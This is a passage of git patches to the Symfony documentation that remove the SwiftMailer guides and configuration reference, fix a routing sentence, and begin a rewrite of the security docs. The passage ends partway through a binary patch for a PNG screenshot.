-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool
-                    type="file"
-                    path="/path/to/spooldir"
-                />
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-
-            'spool' => [
-                'type' => 'file',
-                'path' => '/path/to/spooldir',
-            ],
-        ]);
-
-.. tip::
-
-    If you want to store the spool somewhere with your project directory,
-    remember that you can use the ``%kernel.project_dir%`` parameter to reference
-    the project's root:
-
-    .. code-block:: yaml
-
-        path: '%kernel.project_dir%/var/spool'
-
-Now, when your app sends an email, it will not actually be sent but instead
-added to the spool. Sending the messages from the spool is done separately.
-There is a console command to send the messages in the spool:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send
-
-It has an option to limit the number of messages to be sent:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10
-
-You can also set the time limit in seconds:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10
-
-In practice you will not want to run this manually. Instead, the console command
-should be triggered by a cron job or scheduled task and run at a regular
-interval.
-
-.. caution::
-
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
-    class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
-    proxy class named ``Swift_Message_<someRandomCharacters>``.
-
-    If you use the memory spool, this change is transparent and has no impact.
-    But when using the filesystem spool, the message class is serialized in
-    a file with the randomized class name. The problem is that this random
-    class name changes on every cache clear.
-
-    So if you send a mail and then you clear the cache, on the next execution of
-    ``swiftmailer:spool:send`` an error will raise because the class
-    ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore).
-
-    The solutions are either to use the memory spool or to load the
-    ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`).
-
-How to Test that an Email is Sent in a Functional Test
-------------------------------------------------------
-
-Sending emails with Symfony is pretty straightforward thanks to the
-SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library.
-
-To functionally test that an email was sent, and even assert the email subject,
-content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`.
-
-Start with a controller action that sends an email::
-
-    public function sendEmail($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody('You should see me from the profiler!')
-        ;
-
-        $mailer->send($message);
-
-        // ...
-    }
-
-In your functional test, use the ``swiftmailer`` collector on the profiler
-to get information about the messages sent on the previous request::
-
-    // tests/Controller/MailControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-
-    class MailControllerTest extends WebTestCase
-    {
-        public function testMailIsSentAndContentIsOk()
-        {
-            $client = static::createClient();
-
-            // enables the profiler for the next request (it does nothing if the profiler is not available)
-            $client->enableProfiler();
-
-            $crawler = $client->request('POST', '/path/to/above/action');
-
-            $mailCollector = $client->getProfile()->getCollector('swiftmailer');
-
-            // checks that an email was sent
-            $this->assertSame(1, $mailCollector->getMessageCount());
-
-            $collectedMessages = $mailCollector->getMessages();
-            $message = $collectedMessages[0];
-
-            // Asserting email data
-            $this->assertInstanceOf('Swift_Message', $message);
-            $this->assertSame('Hello Email', $message->getSubject());
-            $this->assertSame('send@example.com', key($message->getFrom()));
-            $this->assertSame('recipient@example.com', key($message->getTo()));
-            $this->assertSame(
-                'You should see me from the profiler!',
-                $message->getBody()
-            );
-        }
-    }
-
-Troubleshooting
-~~~~~~~~~~~~~~~
-
-Problem: The Collector Object Is ``null``
-.........................................
-
-The email collector is only available when the profiler is enabled and collects
-information, as explained in :doc:`/testing/profiling`.
-
-Problem: The Collector Doesn't Contain the Email
-................................................
-
-If a redirection is performed after sending the email (for example when you send
-an email after a form is processed and before redirecting to another page), make
-sure that the test client doesn't follow the redirects, as explained in
-:doc:`/testing`. Otherwise, the collector will contain the information of the
-redirected page and the email won't be accessible.
-
-.. _`MailCatcher`: https://github.com/sj26/mailcatcher
-.. _`MailHog`: https://github.com/mailhog/MailHog
-.. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: https://swiftmailer.symfony.com/
-.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
-.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
-.. _`Mandrill`: https://mandrill.com/
-.. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: https://aws.amazon.com/ses/
-.. _`generate an App password`: https://support.google.com/accounts/answer/185833
-.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
-.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index f88a28aaf29..2e46e99b000 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -4,361 +4,10 @@
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
-to :doc:`send emails </email>`. All these options are configured under the
-``swiftmailer`` key in your application configuration.
-
-.. code-block:: terminal
-
-    # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference swiftmailer
-
-    # displays the actual config values used by your application
-    $ php bin/console debug:config swiftmailer
-
-.. note::
-
-    When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer``
-    namespace and the related XSD schema is available at:
-    ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd``
-
-Configuration
--------------
-
-url
-~~~
-
-**type**: ``string``
-
-The entire SwiftMailer configuration using a DSN-like URL format.
-
-Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
-
-transport
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``smtp``
-
-The exact transport method to use to deliver emails. Valid values are:
-
-* smtp
-* gmail (see :ref:`email-using-gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
-
-username
-~~~~~~~~
-
-**type**: ``string``
-
-The username when using ``smtp`` as the transport.
-
-password
-~~~~~~~~
-
-**type**: ``string``
-
-The password when using ``smtp`` as the transport.
-
-command
-~~~~~~~~
-
-**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
-
-Command to be executed by ``sendmail`` transport.
-
-host
-~~~~
-
-**type**: ``string`` **default**: ``localhost``
-
-The host to connect to when using ``smtp`` as the transport.
-
-port
-~~~~
-
-**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
-
-The port when using ``smtp`` as the transport. This defaults to 465 if encryption
-is ``ssl`` and 25 otherwise.
-
-timeout
-~~~~~~~
-
-**type**: ``integer``
-
-The timeout in seconds when using ``smtp`` as the transport.
-
-source_ip
-~~~~~~~~~
-
-**type**: ``string``
-
-The source IP address when using ``smtp`` as the transport.
-
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
-
-.. versionadded:: 2.4.0
-
-    The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
-
-The domain name to use in ``HELO`` command.
-
-encryption
-~~~~~~~~~~
-
-**type**: ``string``
-
-The encryption mode to use when using ``smtp`` as the transport. Valid values
-are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
-
-auth_mode
-~~~~~~~~~
-
-**type**: ``string``
-
-The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, ``ntlm`` or ``null``.
-
-spool
-~~~~~
-
-For details on email spooling, see :doc:`/mailer`.
-
-type
-....
-
-**type**: ``string`` **default**: ``file``
-
-The method used to store spooled messages. Valid values are ``memory`` and
-``file``. A custom spool should be possible by creating a service called
-``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
-
-path
-....
-
-**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
-
-When using the ``file`` spool, this is the path where the spooled messages
-will be stored.
-
-sender_address
-~~~~~~~~~~~~~~
-
-**type**: ``string``
-
-If set, all messages will be delivered with this address as the "return
-path" address, which is where bounced messages should go. This is handled
-internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
-
-antiflood
-~~~~~~~~~
-
-threshold
-.........
-
-**type**: ``integer`` **default**: ``99``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
-to send before restarting the transport.
-
-sleep
-.....
-
-**type**: ``integer`` **default**: ``0``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
-
-.. _delivery-address:
-
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-.. note::
-
-    In previous versions, this option was called ``delivery_address``.
-
-If set, all email messages will be sent to these addresses instead of being sent
-to their actual recipients. This is often useful when developing. For example,
-by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
-guarantee that all emails sent during development go to one or more some
-specific accounts.
-
-This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
-on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
-
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any
-of these patterns will be delivered like normal, as well as being sent to
-``delivery_address`` or ``delivery_addresses``. For details, see the
-:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
-article.
-
-disable_delivery
-~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If true, the ``transport`` will automatically be set to ``null`` and no
-emails will actually be delivered.
-
-logging
-~~~~~~~
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-If true, Symfony's data collector will be activated for Swift Mailer and
-the information will be available in the profiler.
-
-.. tip::
-
-    The following options can be set via environment variables: ``url``,
-    ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``,
-    ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details,
-    see: :ref:`config-env-vars`.
-
-Using Multiple Mailers
-----------------------
-
-You can configure multiple mailers by grouping them under the ``mailers``
-key (the default mailer is identified by the ``default_mailer`` option):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        swiftmailer:
-            default_mailer: second_mailer
-            mailers:
-                first_mailer:
-                    # ...
-                second_mailer:
-                    # ...
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config default-mailer="second_mailer">
-                <swiftmailer:mailer name="first_mailer"/>
-                <swiftmailer:mailer name="second_mailer"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        $container->loadFromExtension('swiftmailer', [
-            'default_mailer' => 'second_mailer',
-            'mailers' => [
-                'first_mailer' => [
-                    // ...
-                ],
-                'second_mailer' => [
-                    // ...
-                ],
-            ],
-        ]);
-
-Each mailer is registered automatically as a service with these IDs::
-
-    // ...
-
-    // returns the first mailer
-    $container->get('swiftmailer.mailer.first_mailer');
-
-    // also returns the second mailer since it is the default mailer
-    $container->get('swiftmailer.mailer');
-
-    // returns the second mailer
-    $container->get('swiftmailer.mailer.second_mailer');
-
 .. caution::
 
-    When configuring multiple mailers, options must be placed under the
-    appropriate mailer key of the configuration instead of directly under the
-    ``swiftmailer`` key.
-
-When using :ref:`autowiring <services-autowire>` only the default mailer is
-injected when type-hinting some argument with the ``\Swift_Mailer`` class. If
-you need to inject a different mailer in some service, use any of these
-alternatives based on the :ref:`service binding <services-binding>` feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            _defaults:
-                bind:
-                    # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer
-                    \Swift_Mailer: '@swiftmailer.mailer.second_mailer'
-                    # this injects the second mailer when a service constructor argument is called $specialMailer
-                    $specialMailer: '@swiftmailer.mailer.second_mailer'
-
-            App\Some\Service:
-                # this injects the second mailer only for this argument of this service
-                $differentMailer: '@swiftmailer.mailer.second_mailer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false">
-                    <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer -->
-                    <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind>
-                    <!-- this injects the second mailer when a service constructor argument is called $specialMailer -->
-                    <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind>
-                </defaults>
-
-                <service id="App\Some\Service">
-                    <!-- this injects the second mailer only for this argument of this service -->
-                    <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument>
-                </service>
-
-                <!-- ... -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Some\Service;
-        use Psr\Log\LoggerInterface;
-
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-        $container->register(Service::class)
-            ->setPublic(true)
-            ->setBindings([
-                // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer
-                \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer',
-                // this injects the second mailer when this service has a constructor argument called $specialMailer
-                '$specialMailer' => '@swiftmailer.mailer.second_mailer',
-            ])
-        ;
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ad7d876523c..23b694910d9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -953,28 +953,6 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
-
-**Purpose**: Register a custom SwiftMailer Plugin
-
-If you're using a custom SwiftMailer plugin (or want to create one), you
-can register it with SwiftMailer by creating a service for your plugin and
-tagging it with ``swiftmailer.default.plugin`` (it has no options).
-
-.. note::
-
-    ``default`` in this tag is the name of the mailer. If you have multiple
-    mailers configured or have changed the default mailer name for some
-    reason, you should change it to the name of your mailer in order to
-    use this tag.
-
-A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface.
-For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
-
-Several SwiftMailer plugins are core to Symfony and can be activated via
-different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
-
 .. _dic-tags-translation-loader:
 
 translation.loader
@@ -1356,6 +1334,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload

From 55b322dbbeb78c93977a0f35942336bec1fc4e8a Mon Sep 17 00:00:00 2001
From: arend <arend@adivare.nl>
Date: Thu, 16 Sep 2021 16:01:07 +0200
Subject: [PATCH 1220/5766] rewrite incorrect sentence

---
 routing.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 7a89dde0234..bd014cfcfb6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -824,8 +824,7 @@ Parameter Conversion
 
 A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
-represents the user). This feature is called "param converter" and is only
-available when using annotations to define routes.
+represents the user). This feature is called "param converter".
 
 In case you didn't run this command before, run it now to add support for
 annotations and "param converters":

From d5460edef18aac892033e7a0c43cb9a4689a4bd6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 7 May 2021 18:32:10 +0200
Subject: [PATCH 1221/5766] Rewrite Security documentation

---
 _build/conf.py                                |   11 -
 _build/redirection_map                        |   13 +-
 _images/security/anonymous_wdt.png            |  Bin 7355 -> 17124 bytes
 _images/security/security_events.svg          |  338 ++
 _images/sources/security/security_events.dia  |  Bin 0 -> 2566 bytes
 doctrine/registration_form.rst                |    2 +-
 event_dispatcher.rst                          |    6 +-
 reference/configuration/security.rst          |  529 ++-
 security.rst                                  | 2871 ++++++++++++-----
 security/access_denied_handler.rst            |    2 +
 security/acl.rst                              |   15 -
 security/auth_providers.rst                   |  238 --
 security/csrf.rst                             |    4 +-
 security/custom_authentication_provider.rst   |  653 ----
 ...r_manager.rst => custom_authenticator.rst} |  299 +-
 security/expressions.rst                      |    8 +-
 security/form_login.rst                       |  394 +--
 security/form_login_setup.rst                 |  512 ---
 security/guard_authentication.rst             |  577 ----
 security/json_login_setup.rst                 |  213 --
 security/ldap.rst                             |    5 +-
 security/login_link.rst                       |   10 +-
 security/multiple_authenticators.rst          |  173 +
 security/multiple_guard_authenticators.rst    |  185 --
 security/named_hashers.rst                    |  192 --
 security/password_migration.rst               |  251 --
 security/passwords.rst                        |  782 +++++
 security/reset_password.rst                   |   28 -
 security/securing_services.rst                |   53 -
 security/user_provider.rst                    |  537 ---
 security/user_providers.rst                   |  362 +++
 testing.rst                                   |    7 +-
 32 files changed, 3943 insertions(+), 5327 deletions(-)
 create mode 100644 _images/security/security_events.svg
 create mode 100644 _images/sources/security/security_events.dia
 delete mode 100644 security/acl.rst
 delete mode 100644 security/auth_providers.rst
 delete mode 100644 security/custom_authentication_provider.rst
 rename security/{authenticator_manager.rst => custom_authenticator.rst} (55%)
 delete mode 100644 security/form_login_setup.rst
 delete mode 100644 security/guard_authentication.rst
 delete mode 100644 security/json_login_setup.rst
 create mode 100644 security/multiple_authenticators.rst
 delete mode 100644 security/multiple_guard_authenticators.rst
 delete mode 100644 security/named_hashers.rst
 delete mode 100644 security/password_migration.rst
 create mode 100644 security/passwords.rst
 delete mode 100644 security/reset_password.rst
 delete mode 100644 security/securing_services.rst
 delete mode 100644 security/user_provider.rst
 create mode 100644 security/user_providers.rst

diff --git a/_build/conf.py b/_build/conf.py
index 071991c5411..9ff1ff050ac 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -121,17 +121,6 @@
 lexers['terminal'] = TerminalLexer()
 lexers['env']  = BashLexer()
 
-config_block = {
-    'apache': 'Apache',
-    'markdown': 'Markdown',
-    'nginx': 'Nginx',
-    'rst': 'reStructuredText',
-    'varnish2': 'Varnish 2',
-    'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4',
-    'env': '.env'
-}
-
 # don't enable Sphinx Domains
 primary_domain = None
 
diff --git a/_build/redirection_map b/_build/redirection_map
index 7e3d4bea2af..900bdd611b2 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -518,4 +518,15 @@
 /components/index https://symfony.com/components
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
-/security/experimental_authenticators /security/authenticator_manager
+/security/experimental_authenticators /security
+/security/user_provider /security/user_providers
+/security/reset_password /security#reset-password
+/security/auth_providers /security#authenticating-users
+/security/form_login /security#form-login
+/security/form_login_setup /security#form-login
+/security/json_login_setup /security#json-login
+/security/named_hashers /security/passwords#TODO
+/security/password_migration /security/passwords#TODO
+/security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst
+/security/securing_services /security#securing-other-services
+/security/authenticator_manager /security
diff --git a/_images/security/anonymous_wdt.png b/_images/security/anonymous_wdt.png
index 8dbf1cd8298b16129153cc4e501b67ec24263ef4..80736afce3910c746a1054078bf0f84cc21c1862 100644
GIT binary patch
literal 17124
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
